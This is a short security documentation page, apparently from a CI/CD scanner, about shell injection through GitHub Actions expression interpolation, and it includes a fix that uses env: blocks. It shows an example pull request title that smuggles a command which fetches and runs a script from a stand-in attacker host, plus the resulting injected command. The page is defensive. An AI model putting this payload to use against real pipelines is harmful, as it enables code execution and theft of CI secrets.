Shell Injection via Expression Interpolation

What it is

GitHub Actions run: blocks execute shell commands. When you interpolate ${{ }} expressions containing attacker-controlled values directly into a run: block, the value is pasted into the shell command before execution. An attacker can craft input containing shell metacharacters that execute arbitrary code.

How it's exploited

A pull request with this title:

"; curl https://attacker.com/steal.sh | bash; echo "

When interpolated into:

run: echo "Thanks for the PR: ${{ github.event.pull_request.title }}"

Becomes:

echo "Thanks for the PR: "; curl https://attacker.com/steal.sh | bash; echo ""

The attacker's script runs with full access to your CI environment, including secrets.

Dangerous contexts

These ${{ }} expressions are attacker-controllable:

How to fix

Move the expression to a step-level env: block. Environment variables are not interpreted by the shell as code:

# Before (vulnerable)
- run: echo "${{ github.event.pull_request.title }}"

# After (safe)
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "$PR_TITLE"

Real-world incidents


Sentinel — open-source CI/CD security scanner. Source